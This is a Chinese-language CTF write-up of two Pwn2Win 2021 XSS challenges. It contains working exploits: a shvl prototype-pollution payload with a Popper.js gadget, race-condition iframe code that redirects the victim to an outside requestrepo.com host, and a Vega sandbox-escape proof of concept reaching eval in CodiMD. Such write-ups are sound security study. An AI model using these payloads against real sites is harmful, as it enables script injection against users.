Pwn2win2021-XSS Writeup
Pwn2win2021-XSS Writeup
pwn2lose比赛有两道xss,防止博客长草,mark一下
Small talk
XSS题,给出bot能访问任意url
题目代码如下,逻辑比较简单:在监听到发来的message
时间后卸载当前EventListener
,使用shvl.set
将e.data
与quote
变量合并输出为标签内容并调用Popper.createPopper
<script src="https://unpkg.com/shvl@latest/dist/shvl.umd.js"></script>
<script src="https://unpkg.com/@popperjs/core@2"></script>
<button id="send-button" type="submit" class="ui-button text">send</button>
<iframe id='#quote-base' src="/quotes"></iframe>
<script>
const button = document.querySelector('#send-button');
const tooltip = document.querySelector('#send-tooltip');
const message = document.querySelector('#quote');
window.addEventListener('message', function setup(e) {
window.removeEventListener('message', setup);
quote = {'author': '', 'message': ''}
shvl.set(quote, Object.keys(JSON.parse(e.data))[0], Object.values(JSON.parse(e.data))[0]);
shvl.set(quote, Object.keys(JSON.parse(e.data))[1], Object.values(JSON.parse(e.data))[1]);
message.textContent = Object.values(quote)[1] + ' — ' + Object.values(quote)[0]
const popperInstance = Popper.createPopper(button, tooltip, {
placement: 'bottom',
modifiers: [
{
name: 'offset',
options: {
offset: [0, 8],
},
},
],
});
});
</script>
引入的quote.html
会在自加载时向父页面postMessage
//quote.html
<script>
phrases = [
{'@entrepreneur': 'The distance between your DREAMS and REALITY is called ACTION'},
{'@successman': 'MOTIVATION is what gets you started, HABIT is what keeps you going'},
{'@bornrich': 'It\'s hard to beat someone that never gives up'},
{'@businessman': 'Work while they sleep. Then live like they dream'},
{'@bigboss': 'Life begins at the end of your comfort zone'},
{'@daytrader': 'A successfull person never loses... They either win or learn!'}
]
setTimeout(function(){
index = Math.floor(Math.random() * 6)
parent.postMessage('{"author": "' + Object.keys(phrases[index])[0] + '", "message": "' + Object.values(phrases[index])[0] + '"}', '*');
}, 0)
</script>
0x01 解题思路
题目没有X-Frame-Options
,我们可以在自己的html
中用<iframe>
引入题目,并向其发送postMessage
数据。同时shvl
存在Prototype pollution
,那自然是在库文件中找到能够触发XSS的gadget
,这里很明显要从popperjs/core@2
挖一个。在整个解题过程中要解决两个问题:
- 我们向页面发送
postMessage
的速度要比页面内嵌的quote.html
快,否则在quote.html
加载后会向父页面发送无害的message
并注销监听器 - 找到
popperjs
中的gadget
第一个问题先按下不表,先看pollution to xss
部分
0x02 Prototype pollution to xss
污染的部分shvl
修复操作比较迷,只判断了用户输入的开头和结尾
也不能说是毫无用处,只能说是百无一用,简单测下污染如下
quote = {"author":"123"}
test = `{"__proto__.x":"hpdoger"}`
shvl.set(quote, Object.keys(JSON.parse(test))[0], Object.values(JSON.parse(test))[0]);
console.log(Object.prototype.x)
//hpdoger
接下来从popper-core拉一个未混淆过的popperjs
,本地debug看下Popper.createPopper
实例创建过程中会有哪些操作。一路步入,call stack
一直跟到978行发现对所有注册的modifiers
进行回调操作
而在applyStyles
这个装饰器中存在敏感操作element.setAttribute
,会对用户选择的element
进行属性值设置。这里的element
分别为Popper.createPopper
传入的button
、tooltip
标签元素
function applyStyles(_ref) {
var state = _ref.state;
Object.keys(state.elements).forEach(function (name) {
var style = state.styles[name] || {};
var attributes = state.attributes[name] || {};
var element = state.elements[name]; // arrow is optional + virtual elements
if (!isHTMLElement(element) || !getNodeName(element)) {
return;
} // Flow doesn't support to extend this property, but it's the most
// effective way to apply styles to an HTMLElement
// $FlowFixMe[cannot-write]
Object.assign(element.style, style);
Object.keys(attributes).forEach(function (name) {
var value = attributes[name];
if (value === false) {
element.removeAttribute(name);
} else {
element.setAttribute(name, value === true ? '' : value);
}
});
});
}
遍历state.elements
的逻辑中会对属性attributes
赋值,第一次键名name
会取为reference
,即state.attributes[name]
取到空值。而后对赋值后的attributes
取键名、键值赋给element
做属性值,也就是说我们污染Object.prototype.reference
为{"onload":"xx"}
即可向element
中添加一个onload
事件属性。
写个demo简单测试一下,button
没有onload
可用,这里用导航聚焦到标签id
来触发XSS
quote = {"author":"123"}
test = `{"__proto__.reference":{"onfocus":"alert(1)","tabindex":"0", "id":"x"}}`
set(quote, Object.keys(JSON.parse(test))[0], Object.values(JSON.parse(test))[0]);
const popperInstance = Popper.createPopper(button, tooltip, {
placement: 'bottom',
modifiers: [
{
name: 'offset',
options: {
offset: [0, 8],
},
},
],
});
0x03 faster than innerIframe
现在要解决第一个问题,这里有两种方法
先放@rebirthwyw师傅的做法,代码如下。在加载题目页面后,不断竞争地修改子页面quote.html
窗体的location
使其指向baidu.com
,设置合理的setTimeout
数量,可以稳定的在异步环境下竞争过quote.html
自身完全加载的时间,在页面完全加载之前使其转向,自然不会触发内部的<script>
标签内容
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Document</title>
</head>
<body>
<iframe src="https://small-talk.coach:1337/" id='ifr'></iframe>
<script>
var times = 0;
var max = 100;
function race() {
setTimeout(function(){
ifr = document.getElementById('ifr');
ifr.contentWindow.frames[0].location = "https://www.baidu.com/";
},10)
times++;
if (times<max) {
race();
} else {
}
}
setTimeout(function(){race()}, 5000);
</script>
</body>
</html>
我的想法是在iframe.src
引入题目链接(子页面)之前,就不断地向iframe
窗体异步地发送postMessage
消息。由于我们在异步的过程中一定会比iframe
自身载入资源(载入孙子页面quote.html)要快,因此可以先quote.html
一步发送postMessage
,代码如下
<script>
var time = 995;
var genifr = document.createElement("iframe")
setTimeout(()=>{
// genifr.src = "./local.html"
genifr.src = "https://small-talk.coach:1337/"
genifr.id = "win"
document.body.append(genifr)
console.log("[+]:iframe create done")
},1000)
for(let i= 0; i <= 30; i++){
time = time + 1
setTimeout(function (){
post(genifr, i)
}, time)
}
async function post(ifr, i){
console.log(`loading: ${i}, current src_id :${ifr.id}`)
let params = `{"__proto__.reference":{"onfocus":"window.location='http://909p5z60.requestrepo.com'","tabindex":"0", "id":"x"},"bb":"123"}`
ifr.contentWindow.postMessage(params, '*')
}
genifr.addEventListener("load", ()=>{
genifr.contentWindow.location = "https://small-talk.coach:1337/#x"
// genifr.contentWindow.location = "./local.html#x"
})
</script>
比较坑的一点是本地5ms资源加载的延迟,可以让我们设置setTimeout
所需要的时间比较确定,只需要异步开始的时间无限接近iframe
引入题目链接的时间即可。然而在管理员那边需要不断改变setTimeout
的时间差,而且时不时题目就崩了…不过我觉得这两种都不是预期bypass window.removeEventListener
的方法,等看到其他黑科技再分享出来。
hackus
最新版的codimd
,上线的时候@rebirthwyw和@mads发现codimd
所用的依赖vega
依然存在XSS没有修复,需要mouseover
触发
而vega
也是我第一次接触,用在markdown
画图/制表的一些操作。比较有意思的是,vega
支持用JSON
格式的数据来操纵DOM,例如hook events或建立svg窗体。在文档Vega-Signals给出的demo中,signal
定义对应的on
字段,信号用来捕获mousemove
事件,响应操作在update
中给出
events
支持的全部Event Streams
如下,几乎都是需要用户交互才能触发。万幸的是,vega自定义了一个计时器事件
那就可以用计时器延时(timer)自动触发update
操作。按照vega格式要求写好poc测试,发现timer
这个event
对象并没有窗体指向,所以event.target
指向undefined
,从而无法获取ownerDocument
,也就没办法用issue提到的方法逃逸出沙盒拿到eval
最初的想法是监听两个signal
:其中一个hookkeypress
这类窗体事件,update
调用自身event.target.ownerDocument.defaultView.eval
执行命令;另一个signal
用来设置计时器,update
调用内置expression
触发类似于模拟点击/聚焦的操作,这样就能够在计时结束后执行第一个signal
所hook的事件。
但翻了一遍官方expression
手册后,并没有发现符合需求的表达式。倒是看到了有warn
表达式
那可以在控制台输出来找找看timer
字段里有没有指向窗体的属性值,果然在event.dataflow._el
里找到ownerDocument
指向,继续调用eval
就能执行了
完整的poc如下,题目测试地址:https://hackus.xyz/
```vega
{
"signals": [
{
"name": "indexDate",
"description": "A date value that updates in response to mousemove.",
"update": "datetime(2005, 0, 1)",
"on": [{"events":"timer{2000}", "update": "join({'join':event.dataflow._el.ownerDocument.defaultView.eval},'alert(1)')"}]
}
],
"scales": [
{ "name": "x", "type": "time" }
],
"marks": [
{
"type": "rule",
"encode": {
"update": {
"x": {"scale": "x", "signal": "indexDate"}
}
}
}
]
}
```